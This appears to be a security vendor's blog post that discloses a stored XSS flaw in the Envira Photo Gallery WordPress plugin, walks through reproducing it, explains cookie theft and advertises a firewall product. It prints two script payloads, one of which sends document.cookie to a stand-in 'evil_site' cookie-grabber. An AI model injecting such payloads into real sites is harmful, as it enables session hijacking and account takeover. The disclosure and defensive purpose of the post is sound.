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Envira Photo Gallery Plugin helps you to make an amazing responsive photo video gallery for any WordPress site in minutes. This implies your image display will consistently look incredible on all gadgets (cell phones, tablets, workstations, and PCs).
miniOrange found an Authenticated Stored XSS flaw in Envira Photo Gallery Plugin. The XSS is all about injecting malicious code, and in this case, it is injected through an Input field. The attacker enters a malicious script to steal all user information from a low privilege account by inserting a Script in the title of the image.
Local instance of Site with the Envira photo Gallery Plugin installed:-
We now enter the dashboard and add a new gallery to the site.
Give the new gallery a name and upload any image to it
Now click on the pencil icon displayed on top of the image you have uploaded..
A dialog box should pop up. Here’s where it gets fun, Input an XSS vector in the “Title” field.
<script type="text/javascript">
window.onload = function(){
window.open("https://www.google.com", "_blank");
alert(document.cookie)
}
</script>
<script type="text/javascript">
document.location= "http://evil_site/dashboard/de/cookiegraber.php?c=" + document.cookie;
</script>
After the Script is injected in the title and updated the attacker has successfully stored XSS on the gallery and ever user who visits the gallery will be effected.
Let’s say a different user logs into the instance and visits the gallery he will effected immediately.
The vulnerabilities in WordPress site enables attackers to inject malicious scripts under the impression of a trustworthy individual and force the user to perform malicious activities. There is no way to verify that the script is coming from a trusted source or not. In WordPress, we may attach additional functionality to WordPress sites through plugins, but often excellent services do have some drawbacks. After plugin activation, not only does the plugin grab the website parameters, but it also adds its input fields in it, and the chances of vulnerability in these input fields are often possible. That list of input fields contains site search, comment form, contact form, login pages, etc. The real security measure is based on these input fields because hackers exploit vulnerabilities in input fields and add malicious code to the site.
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The attacker injects malicious script, which mainly contains malicious links or some malicious programs that silently get installed into the system without user interaction. Sometimes it forces the user to provide additional information. As we know, we don’t need to log in again, and again, once we login to web application, it generates a cookie session, and we can able to access web application until the session gets expired. After the cookies get stolen, the intruder will able to reach the user account without a username & password and able to view all the applications that opened in the same browser.
There are three types of Cross-site Scripting(XSS):
miniOrange provides a security package for your WordPress site. In it, you can get a Web application firewall to get rid of malicious activities.
The miniOrange provides firewall based on two levels:
This will activate WAF after the WordPress load. This will block illegitimate requests after making a connection to WordPress. This will check Every Request in the plugin itself.
At this level, WAF gets activated before the WordPress load. This level block illegitimate requests before any connection to WordPress. The illegal requests are gets blocked before any page gets loaded at this level.
The firewall service gets enabled on plugin activation. In the free version of WP Security Pro, you get some signatures to prevent your WordPress site from cross-site scripting(XSS).
WAF filters and blocks unauthorized requests which are coming from a web application and do not allow abuse of it.
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